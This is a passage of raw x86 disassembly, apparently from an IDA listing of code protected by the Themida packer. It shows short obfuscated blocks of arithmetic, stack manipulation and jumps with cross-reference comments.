		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_55F280
; ---------------------------------------------------------------------------


loc_56491B:				; CODE XREF: sub_55EDA7+6541j
		pop	ebp
		add	esi, 2D9814C2h
		mov	edx, 6D31551Dh
		jmp	loc_567CA5
; ---------------------------------------------------------------------------


loc_56492C:				; CODE XREF: sub_55EDA7+DE7j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_564931:				; CODE XREF: sub_55EDA7+138DFj
		sub	edi, 5257058Fh
		pop	edx
		inc	edi
		push	eax
		mov	eax, 47826E94h
		shr	eax, 5
		jmp	loc_55F760
; ---------------------------------------------------------------------------


loc_564947:				; CODE XREF: sub_55EDA7+2E2Ej
		bts	word ptr [esp-8+arg_4],	ax
		pushf
		jmp	loc_56F84C
; ---------------------------------------------------------------------------


loc_564952:				; CODE XREF: sub_55EDA7+1926j
		sub	esp, 4
		mov	[esp-1Ch+arg_18], esi
		mov	esi, 4
		jmp	loc_563A14
; ---------------------------------------------------------------------------


loc_564965:				; CODE XREF: sub_55EDA7+D0A4j
		pop	edx
		shr	ebx, 1
		neg	ebx
		xor	ebx, 0FFFD3331h
		jmp	loc_565EF6
; ---------------------------------------------------------------------------


loc_564975:				; CODE XREF: sub_55EDA7+23CBj
		add	edx, 4
		jmp	sub_572D40
; ---------------------------------------------------------------------------


loc_564980:				; CODE XREF: sub_55EDA7+13F57j
		push	ebx
		push	[esp+38h+var_36+2]
		jmp	loc_567788
; ---------------------------------------------------------------------------


loc_56498A:				; CODE XREF: sub_55EDA7+9D87j
		add	esp, 4
		jmp	loc_56F767
; ---------------------------------------------------------------------------


loc_564992:				; CODE XREF: sub_55EDA7+6E7Fj
		mov	esp, [esp+38h+var_3A+2]
		mov	[esp+38h+var_3A+2], ebx
		mov	ebx, 0
		sub	ebx, 7A130B01h
		add	ebx, ecx
		add	ebx, 7A130B01h
		push	4133h
		mov	[esp+3Ch+var_3E+2], ecx
		jmp	loc_56F56F
; ---------------------------------------------------------------------------


loc_5649B8:				; CODE XREF: sub_55EDA7+EB37j
		push	ebp
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		inc	edx
		sub	edx, 5FBE5A43h
		dec	edx
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebp
		mov	ebp, 3C312E61h
		not	ebp
		shl	ebp, 8
		add	ebp, 4B0C450Bh
		neg	ebp
		sub	ebp, 640E66D6h
		xor	edx, ebp
		mov	ebp, [esp+40h+var_42+2]
		add	esp, 4
		xor	edi, edx
		pop	edx
		jmp	loc_5700FA
; ---------------------------------------------------------------------------


loc_5649FA:				; DATA XREF: Themida_:0055E10Co
		push	[esp+38h+var_3A+2]
		mov	edx, [esp+3Ch+var_3E+2]
		jmp	loc_564AF6
; ---------------------------------------------------------------------------


loc_564A05:				; CODE XREF: sub_55EDA7+10DE8j
		push	ebx
		mov	ebx, 2
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp+3Ch+var_3E+2]
		pop	esp
		mov	word ptr [esp+38h+var_3A+2], dx
		mov	dh, 1Ch
		add	al, dh
		mov	dx, word ptr [esp+38h+var_3A+2]
		add	esp, 2
		push	[esp+34h+var_36+2]
		pop	edx
		add	esp, 4
		push	bx
		mov	bl, 98h
		jmp	loc_56814C
; ---------------------------------------------------------------------------


loc_564A34:				; CODE XREF: sub_55EDA7+78EAj
		mov	dl, byte ptr [esp+32h+var_32]
		add	esp, 2
		add	dl, 69h
		not	dl
		jmp	loc_5688F5
; ---------------------------------------------------------------------------


loc_564A44:				; CODE XREF: sub_55EDA7+6D91j
		mov	eax, 68E359A8h
		shl	eax, 2
		add	eax, 933407D7h
		not	eax
		or	eax, 7C123FD6h
		and	eax, 673C40F1h
		xor	eax, 653C00D4h
		add	ecx, eax
		mov	eax, [esp+2Eh+var_2E]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Eh+var_2E], esi
		jmp	loc_567ED1
; ---------------------------------------------------------------------------


loc_564A78:				; CODE XREF: sub_55EDA7+BB13j
		push	1ECFh
		mov	[esp+32h+var_32], ebp
		add	[esp+32h+var_32], 49817AA7h
		pop	ecx
		jmp	loc_56807B
; ---------------------------------------------------------------------------


loc_564A8D:				; CODE XREF: sub_55EDA7+9BCj
		push	0FC0h
		mov	[esp-10h+arg_C], esi
		mov	esi, 4EC227A0h
		neg	esi
		shl	esi, 8
		not	esi
		xor	esi, 0EEBDB6AEh
		add	eax, esi
		pop	esi
		xor	edi, eax
		pop	eax
		push	edi
		jmp	loc_55EA29
; ---------------------------------------------------------------------------


loc_564AB3:				; CODE XREF: sub_55EDA7+10D44j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp-10h+arg_10]
		pop	ebp
		pop	[esp-10h+arg_C]
		pop	esp
		mov	[esp-18h+arg_14], eax
		mov	eax, 2F6F1DF9h
		jmp	loc_5725D9
; ---------------------------------------------------------------------------


loc_564AD5:				; CODE XREF: sub_55EDA7+3168j
		mov	esi, 695B09C9h
		jmp	loc_55F6C3
; ---------------------------------------------------------------------------


loc_564ADF:				; CODE XREF: Themida_:0056E3CAj
		pop	ebp
		push	esi
		jmp	loc_5643F7
; ---------------------------------------------------------------------------


loc_564AE6:				; CODE XREF: sub_55EDA7+CA32j
		add	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_56368F
; ---------------------------------------------------------------------------


loc_564AF0:				; CODE XREF: sub_55EDA7+5273j
		pop	ebx
		jmp	loc_56F532
; ---------------------------------------------------------------------------


loc_564AF6:				; CODE XREF: sub_55EDA7+5C59j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_560FFE
; ---------------------------------------------------------------------------


loc_564B04:				; CODE XREF: sub_55EDA7+42FEj
		not	ebp
		not	ebp
		dec	ebp
		add	ebp, 24535401h
		push	ecx
		mov	ecx, 0E7C52E1h
		jmp	loc_56DF3C
; ---------------------------------------------------------------------------


loc_564B1A:				; CODE XREF: sub_55EDA7-402j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp-20h+arg_20]
		pop	ecx
		pop	[esp-20h+arg_1C]
		mov	esp, [esp-24h+arg_20]
		jmp	loc_56AD92
; ---------------------------------------------------------------------------


loc_564B3A:				; CODE XREF: sub_55EDA7+351j
		push	[esp+24h+var_22+2]
		pop	ecx
		pop	[esp+24h+var_26+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], edx
		push	28B2h
		mov	[esp+20h+var_22+2], esi
		push	79A951DAh
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_570E3F
; ---------------------------------------------------------------------------


loc_564B5E:				; CODE XREF: sub_55EDA7+A50j
		pop	ecx
		pop	edx
		push	[esp-0Ch+arg_8]
		jmp	loc_5725F9
; ---------------------------------------------------------------------------


loc_564B68:				; CODE XREF: sub_55EDA7+F8E7j
		push	eax
		mov	eax, 2A5A7C36h
		sub	eax, 337B5861h
		jmp	loc_56E42A
; ---------------------------------------------------------------------------


loc_564B78:				; CODE XREF: sub_55EDA7+11857j
		xor	[esp-4+arg_0], ecx
		xor	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	word ptr [esp-4+arg_0],	ax
		jmp	loc_56838E
; ---------------------------------------------------------------------------


loc_564B8A:				; CODE XREF: sub_55EDA7+165Aj
		pop	ecx
		xchg	ch, dl
		push	ecx
		not	byte ptr [esp-0Ch+arg_8+1]
		pop	ecx
		xchg	ch, dl
		neg	dl
		shl	dl, 8
		push	bx
		mov	bh, 0EDh
		jmp	loc_560304
; ---------------------------------------------------------------------------


loc_564BA3:				; CODE XREF: sub_55EDA7+9BCCj
		mov	edx, 15334BD8h
		neg	edx
		xor	edx, 0ED37EB0Dh
		jmp	loc_56ED1C
; ---------------------------------------------------------------------------


loc_564BB5:				; CODE XREF: sub_55EDA7+1190Bj
		push	16C9h
		mov	[esp-0Ah+arg_4+2], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_56105B
; ---------------------------------------------------------------------------


loc_564BC9:				; CODE XREF: sub_55EDA7+A7CAj
		or	eax, 55DE57B0h
		add	eax, 0E3F96E9Bh
		mov	ecx, eax
		pop	eax
		xor	ecx, esi
		jmp	loc_566CED
; ---------------------------------------------------------------------------


loc_564BDD:				; CODE XREF: sub_55EDA7+47Ej
		mov	[esp-18h+arg_14], edx
		push	eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_564BE7:				; CODE XREF: sub_55EDA7+EA35j
		shl	ebx, 3
		add	ebx, 0F9FBFD50h
		xor	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, ebp
		push	ebp
		push	esi
		push	esi
		mov	esi, 34211BA4h
		add	[esp-4+arg_4], 3E6E57BCh
		jmp	loc_5627CA
; ---------------------------------------------------------------------------


loc_564C0B:				; CODE XREF: sub_55EDA7+716Bj
		mov	ecx, 5B9123Ch
		and	ecx, 7A033F9Dh
		push	ecx
		not	dword ptr [esp+0]
		pop	ecx
		sub	ecx, 1
		jmp	loc_5695EE
; ---------------------------------------------------------------------------


loc_564C23:				; CODE XREF: sub_55EDA7+8FEFj
		push	ebp
		mov	ebp, 27D7242Ch
		jmp	loc_569896
; ---------------------------------------------------------------------------


loc_564C2E:				; CODE XREF: sub_55EDA7+1242Ej
		mov	ebx, 13D317BEh
		sub	ebx, edi
		mov	edi, [esp+0]
		jmp	loc_56CE1B
; ---------------------------------------------------------------------------


loc_564C3D:				; CODE XREF: sub_55EDA7+759Cj
		pop	edi
		add	esp, 4
		pop	[esp-8+arg_4]
		jmp	loc_567215
; ---------------------------------------------------------------------------


loc_564C49:				; CODE XREF: sub_55EDA7+11BC7j
		xor	edx, [esp-0Ch+arg_8]
		jmp	loc_568E00
; ---------------------------------------------------------------------------


loc_564C51:				; CODE XREF: sub_55EDA7+5038j
		add	eax, 4
		xor	eax, [esp+0Eh+var_E]
		jmp	loc_5681D7
; ---------------------------------------------------------------------------


loc_564C5E:				; CODE XREF: sub_55EDA7+90A3j
		inc	edi
		add	edi, 6BD25E79h
		jmp	loc_5695B9
; ---------------------------------------------------------------------------


loc_564C6A:				; CODE XREF: sub_55EDA7+13E5Aj
		push	[esp+0Eh+var_E]
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_55EDC5
; ---------------------------------------------------------------------------


loc_564C7B:				; CODE XREF: sub_55EDA7+D01Ej
		pop	esi
		add	edx, ebx
		push	dword ptr [esp+0]
		mov	ebx, [esp+0Eh+var_E]
		jmp	loc_56C78B
; ---------------------------------------------------------------------------


loc_564C89:				; CODE XREF: sub_55EDA7+12D63j
		push	esp
		jmp	loc_56EFB3
; ---------------------------------------------------------------------------


loc_564C8F:				; CODE XREF: sub_55EDA7+1375j
		add	esp, 4
		and	eax, 6F31517Dh
		xor	eax, 0C100114h
		jmp	loc_571372
; ---------------------------------------------------------------------------


loc_564CA4:				; CODE XREF: sub_55EDA7+4026j
		mov	eax, 5D71FC0h
		jmp	loc_562DFA
; ---------------------------------------------------------------------------


loc_564CAE:				; CODE XREF: sub_55EDA7-607j
		mov	ecx, [esp-2Ch+arg_28]
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_56A54A
; ---------------------------------------------------------------------------


loc_564CBA:				; CODE XREF: sub_55EDA7+A149j
		sub	bl, 65h
		add	bl, 96h
		push	eax
		jmp	loc_56138F
; ---------------------------------------------------------------------------


loc_564CC6:				; CODE XREF: sub_55EDA7+570Cj
		mov	edi, 2
		sub	ebx, 413E4129h
		add	ebx, edi
		push	edi
		mov	edi, 413E4129h
		sub	ebx, 0A9E31F7h
		add	ebx, edi
		add	ebx, 0A9E31F7h
		mov	edi, [esp+14h+var_16+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_570A06
; ---------------------------------------------------------------------------


loc_564CFE:				; CODE XREF: sub_55EDA7+13977j
		pop	ebx
		push	eax
		mov	eax, 6EFC2499h
		push	edx
		mov	edx, 7606316Eh
		add	edx, 99803AD5h
		jmp	loc_56FB64
; ---------------------------------------------------------------------------


loc_564D16:				; CODE XREF: sub_55EDA7+FF77j
		pop	edx
		pop	eax
		push	ebx
		mov	ebx, 4C254C3Dh
		dec	ebx
		sub	ebx, 0F900480Fh
		neg	ebx
		shr	ebx, 8
		push	esi
		mov	esi, 78F67FBh
		dec	esi
		jmp	loc_566CD2
; ---------------------------------------------------------------------------


loc_564D36:				; CODE XREF: sub_55EDA7+1338Ej
		push	7CA5h
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_56A6D8
; ---------------------------------------------------------------------------


loc_564D43:				; CODE XREF: sub_55EDA7+8F6j
		mov	eax, esp
		add	eax, 4
		jmp	loc_56AC87
; ---------------------------------------------------------------------------


loc_564D4F:				; CODE XREF: sub_55EDA7+1239Bj
		add	esp, 4
		sub	esp, 4
		jmp	loc_565FAA
; ---------------------------------------------------------------------------


loc_564D5D:				; CODE XREF: sub_55EDA7+3205j
		push	24EC622Ah
		pop	eax
		neg	eax
		add	eax, 24EC622Bh
		mov	edx, eax
		pop	eax
		add	ecx, 364E6121h
		add	ecx, edx
		sub	ecx, 364E6121h
		pop	edx
		push	edx
		jmp	loc_5642BB
; ---------------------------------------------------------------------------


loc_564D82:				; CODE XREF: sub_55EDA7+6993j
		add	ebp, edi
		add	ebp, 404A2331h
		jmp	loc_55FCBF
; ---------------------------------------------------------------------------


loc_564D8F:				; DATA XREF: Themida_:0055DFA0o
		mov	ax, word ptr [esp+12h+var_12]
		sub	esp, 4
		mov	[esp+16h+var_16], edi
		jmp	loc_571BC4
; ---------------------------------------------------------------------------


loc_564D9E:				; CODE XREF: sub_55EDA7+3ADEj
		add	ebx, 4
		push	421Ah
		mov	[esp+40h+var_42+2], edi
		jmp	loc_56E276
; ---------------------------------------------------------------------------


loc_564DB1:				; CODE XREF: Themida_:0056F5ACj
		push	edx
		mov	edx, esp
		jmp	loc_566FEB
; ---------------------------------------------------------------------------


loc_564DB9:				; CODE XREF: sub_55EDA7+13DC5j
		push	edi
		jmp	loc_572D4E
; ---------------------------------------------------------------------------


loc_564DBF:				; CODE XREF: sub_55EDA7+2F27j
		sub	eax, 6CEF1FD6h
		add	eax, esi
		add	eax, 6CEF1FD6h
		mov	esi, [esp+24h+var_26+2]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5650FC
; ---------------------------------------------------------------------------


loc_564DDC:				; CODE XREF: sub_55EDA7+7780j
		push	ecx
		jmp	loc_568AFE
; ---------------------------------------------------------------------------


loc_564DE2:				; CODE XREF: sub_55EDA7+9A36j
		inc	esi
		xor	esi, 40AA202Fh
		add	esi, 13F2BB8h
		push	ecx
		mov	ecx, 0E934259h
		shl	ecx, 3
		add	ecx, 3593D60h
		not	ecx
		sub	ecx, 169C476Bh
		add	esi, ecx
		pop	ecx
		xor	esi, 9F0110A1h
		or	edi, esi
		mov	esi, [esp+30h+var_32+2]
		add	esp, 4
		inc	edi
		and	edi, 10C2307Ch
		sub	edi, 0D927A839h
		sub	ebx, edi
		jmp	loc_56CE4B
; ---------------------------------------------------------------------------


loc_564E2E:				; CODE XREF: sub_55EDA7+7601j
		add	ebp, edi
		pop	edi
		jmp	loc_563033
; ---------------------------------------------------------------------------


loc_564E36:				; CODE XREF: sub_55EDA7+8C11j
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		pop	small word ptr [esp+28h+var_2A+2]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_564E4E:				; CODE XREF: sub_55EDA7+6AD0j
		shr	ebx, 4
		shr	ebx, 8
		add	ebx, 0FFF8000Dh
		add	ecx, ebx
		push	[esp+26h+var_26]
		pop	ebx
		add	esp, 4
		add	ecx, 2
		push	64BCh
		mov	[esp+26h+var_26], esi
		push	esp
		jmp	loc_56FD9F
; ---------------------------------------------------------------------------


loc_564E7A:				; CODE XREF: sub_55EDA7+424Dj
		push	27C3h
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, esp
		push	6765h
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		sub	ebx, 2
		push	5603h
		jmp	loc_571BD5
; ---------------------------------------------------------------------------


loc_564EA9:				; CODE XREF: sub_55EDA7+5782j
		mov	ah, bl
		mov	dl, ah
		jmp	loc_56FFFA
; ---------------------------------------------------------------------------


loc_564EB2:				; CODE XREF: sub_55EDA7+550Fj
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		jmp	loc_5611E6
; ---------------------------------------------------------------------------


loc_564EC2:				; CODE XREF: sub_55EDA7+3CE0j
		push	ebx
		mov	ebx, esp
		jmp	loc_55FA16
; ---------------------------------------------------------------------------


loc_564ECA:				; CODE XREF: sub_55EDA7+1BE5j
		mov	dx, word ptr [esp+8+var_8]
		add	esp, 2
		sub	al, dl
		sub	al, 0E8h
		mov	dx, word ptr [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		jmp	loc_567CD5
; ---------------------------------------------------------------------------


loc_564EE6:				; CODE XREF: sub_55EDA7+84ABj
		push	1AA4h
		mov	[esp+0Ch+var_E+2], ebp
		mov	ebp, 44467776h
		inc	ebp
		shl	ebp, 5
		add	ebp, 1E954B82h
		push	ecx
		mov	ecx, 519F7B4Bh
		xor	ecx, 601407E6h
		sub	ecx, 2C1A7B8Fh
		jmp	loc_5726DD
; ---------------------------------------------------------------------------


loc_564F14:				; CODE XREF: sub_55EDA7+1DE6j
		sub	ecx, 8611105h
		pop	eax
		xchg	ecx, [esp-20h+arg_1C]
		mov	esp, [esp-20h+arg_1C]
		jmp	loc_561868
; ---------------------------------------------------------------------------


loc_564F26:				; CODE XREF: sub_55EDA7+13572j
		mov	ecx, 59553A34h
		and	ecx, 682A0D4Ch
		sub	ecx, 2B7F31AEh
		push	edx
		push	ebp
		mov	ebp, 6A5069F1h
		mov	edx, 8CF68291h
		sub	edx, ebp
		pop	ebp
		jmp	loc_567101
; ---------------------------------------------------------------------------


loc_564F4B:				; CODE XREF: sub_55EDA7+9125j
		mov	[esp-1Ch+arg_18], esi
		jmp	loc_567E86
; ---------------------------------------------------------------------------


loc_564F53:				; CODE XREF: sub_55EDA7+29CCj
		mov	esi, 1CFD9764h
		jmp	loc_567BEC
; ---------------------------------------------------------------------------


loc_564F5D:				; CODE XREF: sub_55EDA7+8ED0j
		mov	edx, [esp+30h+var_32+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_572522
; ---------------------------------------------------------------------------


loc_564F68:				; CODE XREF: sub_55EDA7+BC3Bj
		add	esp, 4
		jmp	loc_566CA5
; ---------------------------------------------------------------------------


loc_564F70:				; CODE XREF: sub_55EDA7+53DDj
		xor	ebp, 73796DB7h
		sub	ecx, 2823240Bh
		sub	ecx, ebp
		add	ecx, 2823240Bh
		mov	ebp, [esp-1Ch+arg_18]
		add	esp, 4
		xchg	ecx, [esp-20h+arg_1C]
		pop	esp
		mov	[esp-24h+arg_20], ebx
		jmp	loc_568C54
; ---------------------------------------------------------------------------


loc_564F96:				; CODE XREF: sub_55EDA7+4658j
		add	ebx, 28A84F04h
		add	ebx, ebp
		sub	ebx, 28A84F04h
		jmp	loc_55EE58
; ---------------------------------------------------------------------------


loc_564FA9:				; CODE XREF: sub_55EDA7+1643j
		push	16AEh
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_571EC3
; ---------------------------------------------------------------------------


loc_564FC7:				; CODE XREF: sub_55EDA7+38F9j
		mov	ecx, [esp+28h+var_2A+2]
		jmp	loc_57090D
; ---------------------------------------------------------------------------


loc_564FCF:				; CODE XREF: sub_55EDA7+DE27j
		sub	eax, ecx
		sub	eax, 5DA567C3h
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_571953
; ---------------------------------------------------------------------------


loc_564FE1:				; CODE XREF: sub_55EDA7+C78j
		mov	[esp-0Ch+arg_8], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		xor	ebx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], ebx
		xor	ebx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		sub	eax, 3B7048D6h
		push	[esp-10h+arg_C]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 22B6A06h
		xor	edi, 261A1BB5h
		xor	edi, 796F014Bh
		add	edi, 5D58754Dh
		shl	edi, 1
		add	edi, 5749215Dh
		xor	edi, 0CCB6EDE3h
		jmp	loc_565B71
; ---------------------------------------------------------------------------


loc_56503A:				; CODE XREF: sub_55EDA7+12569j
		mov	edi, edx
		mov	eax, edi
		jmp	loc_5614EB
; ---------------------------------------------------------------------------


loc_565043:				; CODE XREF: sub_55EDA7+714Aj
		or	ecx, 496A259Ah
		jmp	loc_569E5E
; ---------------------------------------------------------------------------


loc_56504E:				; CODE XREF: sub_55EDA7+A49Ej
		push	538777EAh
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 0F87A1EE4h
		sub	ebp, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		push	eax
		jmp	loc_55E3A4
; ---------------------------------------------------------------------------


loc_56506D:				; CODE XREF: sub_55EDA7+E98Bj
		not	[esp-4+arg_0]
		mov	edx, [esp-4+arg_0]
		push	2C97h
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		shl	edx, 4
		not	edx
		shr	edx, 6
		push	ecx
		jmp	loc_56310E
; ---------------------------------------------------------------------------


loc_565097:				; CODE XREF: sub_55EDA7+2CD6j
		mov	[esp+34h+var_36+2], ecx
		mov	ecx, esp
		push	37C2h
		mov	[esp+38h+var_3A+2], edx
		jmp	loc_567D87
; ---------------------------------------------------------------------------


loc_5650A9:				; CODE XREF: sub_55EDA7+28B7j
		mov	edx, 4
		add	ebp, 103228BAh
		add	ebp, edx
		jmp	loc_5701F3
; ---------------------------------------------------------------------------


loc_5650BB:				; CODE XREF: sub_55EDA7+10E04j
		pop	edi
		sub	edx, 4E2D547Ah
		add	edx, ebx
		add	edx, 4E2D547Ah
		pop	ebx
		push	eax
		mov	eax, 2
		sub	edx, 1CD2CD3h
		add	edx, 417512C9h
		add	edx, eax
		sub	edx, 417512C9h
		add	edx, 1CD2CD3h
		push	[esp+2Ch+var_2E+2]
		pop	eax
		add	esp, 4
		push	3A30h
		jmp	loc_572587
; ---------------------------------------------------------------------------


loc_5650FC:				; CODE XREF: sub_55EDA7+6030j
		sub	ebx, 28FB04A2h
		add	ebx, ebp
		add	ebx, 28FB04A2h
		pop	ebp
		add	ebx, 4
		jmp	loc_570659
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: sub_55EDA7+4943j
		push	edx
		mov	edx, 32090025h
		push	ecx
		jmp	loc_56D24A
; ---------------------------------------------------------------------------


loc_565122:				; CODE XREF: sub_55EDA7+10DB8j
		xchg	ebx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		div	ecx
		jmp	loc_56D615
; ---------------------------------------------------------------------------


loc_56512F:				; CODE XREF: sub_55EDA7+5AA9j
		push	edx
		mov	edx, 3FFB705Fh
		push	ecx
		mov	ecx, 19BE4B43h
		or	edx, ecx
		jmp	loc_570A18
; ---------------------------------------------------------------------------


loc_565142:				; CODE XREF: sub_55EDA7+B25Bj
		pop	ebx
		sub	esp, 4
		jmp	loc_565673
; ---------------------------------------------------------------------------


loc_56514E:				; CODE XREF: sub_55EDA7+11BBCj
		sub	esi, edi
		pop	edi
		sub	esi, 8C37CD4Ch
		add	ebp, esi
		pop	esi
		xor	ebp, [esp+60h+var_60]
		jmp	loc_563194
; ---------------------------------------------------------------------------


loc_565162:				; CODE XREF: sub_55EDA7+B711j
		mov	bp, 1A60h
		add	ax, 6F2Ch
		jmp	loc_56B7A6
; ---------------------------------------------------------------------------


loc_56516F:				; CODE XREF: sub_55EDA7+7B18j
		push	esi
		mov	esi, edx
		jmp	loc_571791
; ---------------------------------------------------------------------------


loc_565177:				; CODE XREF: sub_55EDA7+CFB5j
		add	edi, 62114D69h
		sub	edi, eax
		sub	edi, 62114D69h
		mov	eax, [esp+64h+var_64]
		add	esp, 4
		xchg	edi, [esp+60h+var_60]
		jmp	loc_56359A
; ---------------------------------------------------------------------------


loc_565193:				; CODE XREF: sub_55EDA7+B830j
		and	ebx, edi
		pop	edi
		add	ebx, 0FF6BBFA4h
		add	eax, ebx
		jmp	loc_56163A
; ---------------------------------------------------------------------------


loc_5651A3:				; CODE XREF: sub_55EDA7+C6DCj
		mov	[esp+5Ch+var_5C], esp
		add	[esp+5Ch+var_5C], 4
		jmp	loc_57259C
; ---------------------------------------------------------------------------


loc_5651B2:				; CODE XREF: sub_55EDA7+D355j
		xchg	ebx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		xor	eax, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], eax
		xor	eax, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		div	cl
		movzx	cx, ah
		push	small 20D4h
		mov	word ptr [esp+5Eh+var_60+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5651DE:				; CODE XREF: sub_55EDA7+59F4j
		mov	eax, 2
		jmp	loc_56BC39
; ---------------------------------------------------------------------------


loc_5651E8:				; CODE XREF: sub_55EDA7+6FCj
		add	edx, ebp
		add	edx, 38F25B9Eh
		pop	ebp
		xchg	edx, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		jmp	loc_5671A8
; ---------------------------------------------------------------------------


loc_5651FC:				; CODE XREF: sub_55EDA7+7546j
		mov	ecx, 0A70766Ch
		dec	ecx
		inc	ecx
		shl	ecx, 2
		sub	ecx, 77CD2558h
		xor	ebp, ecx
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		xor	ecx, ebp
		pop	ebp
		add	edi, 4588323Dh
		add	edi, 13980A47h
		add	edi, ecx
		sub	edi, 13980A47h
		sub	edi, 4588323Dh
		pop	ecx
		and	ecx, edi
		push	[esp-24h+arg_20]
		jmp	loc_567EBD
; ---------------------------------------------------------------------------


loc_56523C:				; CODE XREF: sub_55EDA7+A8B0j
		sub	ecx, 67C401ACh
		not	ecx
		inc	ecx
		sub	ecx, 374270EBh
		jmp	loc_568F3F
; ---------------------------------------------------------------------------


loc_565250:				; CODE XREF: sub_55EDA7+D845j
		xor	al, bh
		push	[esp-20h+arg_1C]
		pop	ebx
		add	esp, 4
		push	403Ah
		jmp	loc_5658D6
; ---------------------------------------------------------------------------


loc_565266:				; CODE XREF: sub_55EDA7+8FD1j
		push	ebx
		mov	bh, 43h
		and	dh, bh
		jmp	loc_5699BB
; ---------------------------------------------------------------------------


loc_565270:				; CODE XREF: sub_55EDA7+125Bj
		pop	ecx
		push	9D3h
		mov	[esp-1Ch+arg_18], ebp
		mov	ebp, 4F722A51h
		jmp	loc_5634C8
; ---------------------------------------------------------------------------


loc_565283:				; CODE XREF: sub_55EDA7+11B61j
		pop	edx
		jmp	loc_568989
; ---------------------------------------------------------------------------


loc_565289:				; CODE XREF: sub_55EDA7+11344j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-20h+arg_1C]
		jmp	loc_5627AE
; ---------------------------------------------------------------------------


loc_56529A:				; CODE XREF: sub_55EDA7+D1EDj
		dec	edi
		add	edi, 0B00AFD26h
		sub	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		add	edi, 0D039A4Ah
		mov	eax, edi
		pop	edi
		and	eax, 56C96FF8h
		sub	esp, 4
		mov	[esp-28h+arg_24], ecx
		mov	ecx, 16925FE2h
		sub	esp, 4
		mov	[esp-24h+arg_20], esi
		mov	esi, 53EE5999h
		or	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 91819A9Dh
		add	ecx, ebp
		pop	ebp
		sub	eax, 34CC59D1h
		add	eax, ecx
		jmp	loc_5655A1
; ---------------------------------------------------------------------------


loc_5652E3:				; CODE XREF: sub_55EDA7-507j
		add	ebp, esi
		pop	esi
		mov	esi, ebp
		jmp	loc_56491B
; ---------------------------------------------------------------------------


loc_5652ED:				; CODE XREF: sub_55EDA7+4FF0j
		mov	esi, [esp+1Ah+var_1A]
		jmp	loc_56EA8E
; ---------------------------------------------------------------------------


loc_5652F5:				; CODE XREF: sub_55EDA7+ED57j
		dec	ch
		not	ch
		shl	ch, 7
		jmp	loc_56EAB2
; ---------------------------------------------------------------------------


loc_565301:				; CODE XREF: sub_55EDA7+69ADj
		add	ecx, eax
		sub	ecx, 3C480567h
		pop	eax
		add	ecx, 4
		push	343Ch
		mov	[esp+1Ah+var_1A], eax
		mov	eax, esp
		push	ecx
		jmp	loc_56B488
; ---------------------------------------------------------------------------


loc_56531D:				; CODE XREF: sub_55EDA7+D549j
		xchg	eax, [esp+1Eh+var_1E]
		pop	esp
		mov	[esp+1Ah+var_1A], edx
		push	ecx
		mov	ch, 0FBh
		neg	ch
		not	ch
		jmp	loc_561A68
; ---------------------------------------------------------------------------


loc_565330:				; CODE XREF: sub_55EDA7+4BA2j
		sub	eax, 5DF05EC3h
		add	eax, ebp
		add	eax, 5DF05EC3h
		pop	ebp
		xor	eax, [esp+34h+var_36+2]
